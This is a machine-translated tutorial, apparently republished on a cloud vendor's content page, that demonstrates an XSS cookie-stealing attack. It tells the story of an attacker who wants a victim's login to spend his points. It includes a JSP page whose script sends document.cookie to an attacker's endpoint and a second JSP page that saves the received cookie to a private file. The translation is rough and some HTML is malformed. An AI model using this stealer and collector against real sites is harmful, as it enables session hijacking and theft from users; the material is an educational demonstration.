XSS research from internal XSS attacks

Source: Internet
Author: User

Introduced:

Our example above is to study the XSS attacks from the inside, by conveying a harmful JS code to the victim's machine, allowing it to run this harmful JS code on the victim's domain to get the intrusion purpose. Now let's look at an XSS attack from outside.

Practice:

As usual, I use vernacular to explain what is an XSS attack from outside.

Suppose I was an attacker, a victim, I know a has a habit, he will often go to a luxury consumer website login, and then every time you sign in with his points to buy a lot of things, I have no money, I want to use a password to login the same website, and then with his points to buy things to me. Obviously because a knows I am the victim, so I directly ask A to account password, he will certainly call the police, how to do?

At this time, I know a often log on the same machine, and then the cookie information will be stored in his machine local, so I will try to implant a malicious script on which luxury website, because a each login, its information will be in the cookie, Then my malicious script would read the information from his cookie every time and then send it to my own server, and then I set up my own server with a piece of code. This cookie information is stored in a local private text file, so that every time he logs in, I will be able to know the cookie information of a in my local text file. Of course, in order to trigger that malicious script, I have to make sure that a will click on the malicious script link I want, I will definitely disguise, such as the most popular pictures of beautiful women.

Well, let's start with an example:

First, I'll create a text file on my own disk directory, such as D:\privateLocation\stealCookieFile.txt


The purpose of this file is to store the cookie information that I stole from a.

Then I started to forge a page with a malicious script:

<%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>受害者页面,这个页面后台有XSS漏洞</title><script type="text/javascript">//创建一个cookiefunction createCookie(username,password){    console.log("invoking createCookie(username,password) method");    //设置cookie的到期时间,假设30天后到期    var expires =new Date();    expires.setTime(expires.getTime()+30*24*3600*1000);    var expireInfo="expires="+expires.toUTCString();                                                                                                                                                                                                                                                                                                                                                                                                                            document.cookie=username+"="+password+";"+expireInfo;    console.log("current cookie:"+document.cookie);}//盗用cookie function stealCookie(){     window.open(‘http://localhost:8080/XSSDemo/xss_victom2.jsp?cookie=‘+document.cookie) }</script><body><form  method="post"><p><span>用户名:charles,密码 123456</span><span>假定用户点击下面按钮会触发新建一个cookie并且存入,点击更下面一个按钮会盗用刚创建的cookie</span></p><input type="button" value="点击按钮会创建一个新cookie"type="button" value="点击按钮会盗用当前的cookie" onclick="stealCookie()"/></form></body>

For the sake of simplicity, assuming this page is the page of this luxury website, in order to simulate the login, I have provided 2 buttons, assuming that clicking on the first button will create a current user cookie (or automatically login to take the user information directly from the cookie), by default, the general user will go to the login page , so I also assume that the default first button user will definitely point, then the second button is the focus, it will have a malicious script behind it, to steal the current user's cookie.

And then after I steal A's cookie, I'm going to have to save the cookie information for this user A to my local, so that next time I can use his information to log on to the same website to buy things.

<%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%><%@page import="java.io.FileOutputStream,java.io.File,java.io.IOException" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>XSS盗用Cookie的Demo</title><body><%//首先构造一个路径,这路径上的文本文件专门用来存放盗用的cookieString stealCookieFile = "D:/privateLocation/stealCookieFile.txt";out.println("准备存入盗取的cookie信息到:"+stealCookieFile+"<br>");//获取提交过来的cookie值String cookie= request.getParameter("cookie");out.println("cookie信息:"+cookie+"<br>");FileOutputStream fos = new FileOutputStream( new File(stealCookieFile));try{    fos.write(cookie.getBytes());}catch(IOException ex){    out.println("写入失败");}finally{    if(fos!=null){        fos.close();    }}%></body>

With the above 1 text files and 2 JSP code, we can come to the demo.

First of all, I created a malicious page, assuming the user is already logged in, in order to simulate this situation, users need to click the first button:

As seen from the console, the first button has been clicked, at which point the State is equivalent to having a cookie:charles=123456, and this information exists locally on a.

Now, I'm going to seduce a to click on the second button (assuming it's a beautiful picture or a very appealing message), and when a hits the second button, he's fooled, and his cookie is correctly received and stored in my local file:

I went to check the local files and found out that A's cookie information was correctly received:

Summarize:

The so-called external XSS attack, in fact, by letting the user execute a malicious script, and then this script will be sensitive information secretly "steal" out, and then put into the attacker's desired place, these sensitive information can be cookie,user-agent or other, anyway JS can get the information, This can be done here, and if the attacker is malicious, he can get the information to do something illegal. Make an inappropriate analogy, such as I (intruder) to steal a country (the victim) of the wartime top secret information (such as cookies), but because their national precautions are too good (homologous strategy), I can not directly get, so I bought a person in their country (such as pornographic image link) , and then agreed that whenever the country publishes information (that is, the victim visits a website), it drops the information (corresponding cookie) to a designated intelligence Exchange location (another server I set up), then I get this information from that location (from the Request object to get Cookie information), Then parse it (read the cookie) and store it in my own intelligence library (my local private file).

XSS research from internal XSS attacks

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.